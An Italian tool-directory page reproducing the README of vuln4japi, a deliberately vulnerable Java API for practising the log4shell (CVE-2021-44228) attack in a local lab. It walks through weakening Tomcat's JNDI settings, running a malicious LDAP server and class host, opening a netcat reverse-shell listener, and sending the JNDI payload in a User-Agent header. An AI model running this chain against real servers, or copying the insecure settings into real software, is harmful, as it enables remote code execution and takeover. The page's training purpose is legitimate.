Skip to content
KitploitKITPLOIT
StrumentiBlog
Invia
StrumentiBlog
Invia

Strumenti di Hacking, PenTest e Cybersecurity per il tuo Arsenale di Sicurezza!

Kitploit è una directory di strumenti di hacking, cybersecurity e pentesting. Scopri gli ultimi aggiornamenti dei progetti per trovare vulnerabilità, analizzare sistemi, automatizzare i test e rafforzare la tua sicurezza.

··Feed·Contatto·Privacy·© 2026 Kitploit

Directory degli strumenti

Categorie

Vedi tutte le categorie
Loading categories
vuln4japi — Un'API REST vulnerabile basata su Java per dimostrare CVE-2021-44228 (log4shell). | Kitploit
Strumenti/GitHubGitHub/nix-xin/vuln4japi
Analisi delle VulnerabilitàExploitSfruttamento di Applicazioni WebPenetration TestingApprendimento e FormazioneLab e Pratica
GitHubnix-xin/vuln4japi

vuln4japi

Un'API REST vulnerabile basata su Java per dimostrare CVE-2021-44228 (log4shell).

Vedi Repository
114 anni faNon ancora revisionato

Più Popolari

Vedi tutti →

Scopri gli strumenti più utilizzati dalla nostra community.

Esplora tutti gli strumenti

Sfoglia la nostra collezione di strumenti

Vedi tutti gli strumenti →
Condividi

vuln4japi

Un'API REST Java vulnerabile per dimostrare la CVE-2021-44228 (log4shell).

Motivazione

Log4Shell ha travolto internet all'inizio di dicembre 2021. Una vulnerabilità Zero Day nella libreria di logging Apache Log4j, capace di eseguire codice in remoto (RCE), che ha costretto organizzazioni in tutto il mondo a correre ai ripari per correggere/patchare/mitigare le loro applicazioni Java esposte al pubblico. Mentre la community InfoSec si è riunita per fornire analisi e soluzioni continue ai team di sicurezza, la community di Log4j era impegnata a sviluppare patch per porre fine a questa vulnerabilità.

Ho sviluppato questa semplice API REST vulnerabile che dimostra il percorso verso l'esecuzione di codice in remoto (RCE) sfruttando questa vulnerabilità tramite il server applicativo Apache Tomcat. Spero che questa prova di concetto possa essere utilizzata per formare i tuoi team SecOps o per istruire gli sviluppatori di applicazioni attuali e futuri. Forma i tuoi team e migliora le tue difese, inclusi ma non limitati a, regole/alert SIEM, EDR, SOAR.

Per comprendere il flusso di lavoro di questo attacco, dai un'occhiata a questa grafica fornita dal Swiss Government Computer Emergency Response Team GovCERT.ch: https://www.govcert.ch/blog/zero-day-exploit-targeting-popular-java-library-log4j/assets/log4j_attack.png

Disclaimer

Questo tutorial e il codice sorgente sono forniti esclusivamente a scopo educativo e formativo. Si prega di utilizzarli in modo etico e responsabile. Questo tutorial è stato preparato presupponendo che l'attaccante e l'applicazione vulnerabile si trovino sullo stesso computer. Per un'esperienza più realistica, distribuisci l'architettura ed esegui l'applicazione vulnerabile su un server dedicato e usa qualcosa come Kali Linux o un'altra distribuzione per simulare l'attaccante.

Iniziamo.

Cosa Ti Serve

  • Ambiente di test (VM o Hardware, preferibilmente Linux per compilare e testare. Ho usato una VM con Ubuntu Server)
  • Java JDK (Ho usato OpenJDK 1.8.0_312)
  • Maven (strumento di compilazione e gestione di progetti Java; ho usato la versione 3.6.3)
  • Marshalsec (Java Unmarshaller per il reindirizzamento JNDI: https://github.com/mbechler/marshalsec)
  • Apache Tomcat 8 (Ho usato la versione 8.0.32: https://archive.apache.org/dist/tomcat/tomcat-8/v8.0.32/bin/)
  • Python3 installato (possiamo usare il modulo http.server per eseguire un semplice server web locale per ospitare il nostro file .class)
  • Un file di classe Java dannoso (il codice sorgente è fornito nella directory xploitz)
  • Infine, clona questo repository!

Flusso del Processo - Applicazione Web Vulnerabile

Una volta installati Java JDK e Maven, supponendo che tu sia su una distribuzione Linux, spostati nella directory della tua vuln4japi e compila il tuo progetto.

Nota: Potresti voler modificare alcuni componenti dell'app prima di compilarla. Ad esempio, puoi modificare il percorso dei log log4j nel file log4j2.xml. Oppure potresti voler cambiare il nome del file war risultante nel file pom.xml. Dipende interamente da te.

root@kitploit:~
cd /path/to/vuln4japi
mvn clean package -DskipTests

Se non vedi errori di compilazione, dovresti avere una directory target appena creata con il tuo file vuln4japi.war. Ok, torneremo su questo file tra poco. Diamo un'occhiata brevemente a Tomcat.

A seconda della tua versione di Java 8, le versioni successive di 8 potrebbero avere questa particolare impostazione (com.sun.jndi.ldap.object.trustURLCodebase) impostata su false. Questo di fatto impedisce a JNDI di caricare una codebase remota tramite LDAP. Ed è proprio ciò che questa vulnerabilità sfrutta. Quindi, dobbiamo modificare il file catalina.properties di Tomcat per impostare questa impostazione di sistema su True, rendendo Tomcat intenzionalmente vulnerabile.

Una volta scaricato apache-tomcat-8.0.32.tar.gz per Linux, estrailo da qualche parte come la directory /opt.

root@kitploit:~
tar -xvf apache-tomcat-8.0.32.tar.gz -C /opt

Spostati nella directory /conf e modifica catalina.properties in fondo al file.

Nota: Usa il tuo editor di testo preferito. In questo esempio uso vim.

root@kitploit:~
cd /opt/apache-tomcat-8.0.32/conf

vim catalina.properties

# aggiungi le seguenti proprietà di sistema alla fine
com.sun.jndi.ldap.object.trustURLCodebase=true
com.sun.jndi.rmi.object.trustURLCodebase=true
com.sun.jndi.cosnaming.object.trustURLCodebase=true

Esci dal tuo editor di testo e avvia Tomcat usando lo script catalina.sh nella directory /bin.

root@kitploit:~
cd /opt/apache-tomcat-8.0.32/bin
./catalina.sh start

Testa la tua istanza di Apache Tomcat navigando su http://localhost:8080/ o con un semplice comando cURL dalla riga di comando.

root@kitploit:~
curl -vv http://localhost:8080/

Se vedi una pagina di benvenuto nel browser o nel terminale, allora dovrebbe funzionare. Ora possiamo distribuire la nostra App Vulnerabile.

Copia il tuo file .war nella directory /webapps di Tomcat. Tomcat distribuirà a caldo la tua applicazione in pochi secondi.

root@kitploit:~
cp /vuln4jpi/target/vuln4japi.war /opt/apache-tomcat-8.0.32/webapps

Testa la tua app vulnerabile navigando sull'URL dell'app o di nuovo usando cURL dalla riga di comando. Sul browser: http://localhost:8080/vuln4japi/api

root@kitploit:~
curl -vv http://localhost:8080/vuln4japi/api

Dovresti vedere il seguente messaggio visualizzato, Hi, this is a Vulnerable App!!

Ora che abbiamo alcuni componenti funzionanti, sfruttiamo questa cosa...

Flusso del Processo - Strumenti dell'Attaccante

Marshalsec

Il progetto marshalsec è un'ottima risorsa per comprendere questo tipo di attacco in dettaglio. In sostanza, agisce come un server LDAP dannoso che poi reindirizza qualsiasi richiesta a un server web dannoso che ospita il file .class. Raccomando vivamente di rivedere parte della documentazione pubblicata sul repository Github di mbechler prima di usare marshalsec: https://github.com/mbechler/marshalsec

Se decidi di saltare i dettagli tecnici e la documentazione, clona quel repository e spostati nella sua directory. Ora, prima di compilare quel progetto Java, ti consiglio di aggiungere una dichiarazione di debug di una riga nel file LDAPRefServer.java. Questa istruzione di stampa sarà utile quando si cattura la query LDAP dal server vulnerabile.

Usando il tuo editor di testo preferito, modifica il seguente file e aggiungi la riga come mostrato nel blocco di codice sottostante, nel metodo processSearchResult().

root@kitploit:~
vim marshalsec/src/main/java/marshalsec/jndi/LDAPRefServer.java
root@kitploit:~
@Override
        public void processSearchResult ( InMemoryInterceptedSearchResult result ) {
            String base = result.getRequest().getBaseDN();
            Entry e = new Entry(base);
            try {
                sendResult(result, base, e);
                // aggiungi questa riga per mostrare le informazioni complete della richiesta
                System.out.println("Request: " + result.getRequest());
            }
            catch ( Exception e1 ) {
                e1.printStackTrace();
            }

        }

Una volta modificato il file, salva ed esci dal tuo editor di testo. Ora dovresti essere in grado di compilare il progetto marshalsec usando Maven. Torna alla radice della cartella marshalsec ed esegui maven.

root@kitploit:~
mvn clean package -DskipTests

Se non ci sono errori di compilazione, dovresti vedere la directory /marshalsec/target appena creata con il file marshalsec-0.0.3-SNAPSHOT-all.jar incluso.

Prepariamo il resto dei nostri strumenti da attaccante prima di eseguire il nostro server LDAP dannoso marshalsec.

File .class dannoso

Spostati nella cartella exploitz e compila il file Exploit.java incluso.

root@kitploit:~
javac Exploit.java

Se non ottieni errori, dovresti avere un file Exploit.class.

Dovrebbe bastare. Dovresti avere tutto ciò di cui hai bisogno compilato e il Web Server in esecuzione. Di nuovo, supponendo che tu stia eseguendo questo test su un server Linux, aprirai almeno 5 finestre di Terminale.

Terminale 1: Esegui marshalsec

root@kitploit:~
java -cp marshalsec-0.0.3-SNAPSHOT-all.jar marshalsec.jndi.LDAPRefServer "http://localhost:8081/#Exploit" 1389

Terminale 2: Spostati nella directory xploitz dove si trova il tuo Exploit.class ed esegui un server Python locale.

root@kitploit:~
python3 -m http.server 8081

Terminale 3: Segui il tuo file /tmp/logs/vuln4jpi_log4j.log per monitorare le richieste fatte alla tua app vulnerabile.

root@kitploit:~
tail -f /tmp/logs/vuln4japi_log4j.log

Terminale 4: Apri un listener netcat sulla porta 8001. Questa sarà la connessione di reverse shell dallo stesso host, ovviamente. Ricorda, stiamo facendo tutto questo sullo stesso host. Per un'esperienza reale, prova a usare 2 o 3 computer diversi.

root@kitploit:~
nc -lv 8001

Terminale 5: Invia il tuo payload usando un semplice comando cURL.

root@kitploit:~
curl -vv http://localhost:8080/vuln4japi/api -H 'User-Agent: ${jndi:ldap://localhost:1389/a}'

Se tutto funziona come previsto, dovresti avere una shell inoltrata al tuo listener netcat sulla porta 8001. Rivedi tutte le tue finestre di Terminale e osserva il comportamento in ciascuna di esse cercando eventuali refusi o errori di sintassi. C'è molto in gioco qui, quindi l'errore umano è sempre in agguato. Fai qualche tentativo finché non lo padroneggi. Potresti dover modificare un po' il sorgente, ma ehi, è così che si impara. ;-)

Spero che ti diverta ad imparare da questo progetto tanto quanto io mi sono divertito a realizzarlo. Trovami su twitter @offswitchsec se hai feedback o commenti. Buon divertimento e Buon Hacking!

Scarica lo strumento